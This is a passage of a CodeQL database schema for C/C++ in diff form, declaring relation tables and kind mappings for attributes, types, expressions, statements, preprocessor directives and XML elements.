+*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int 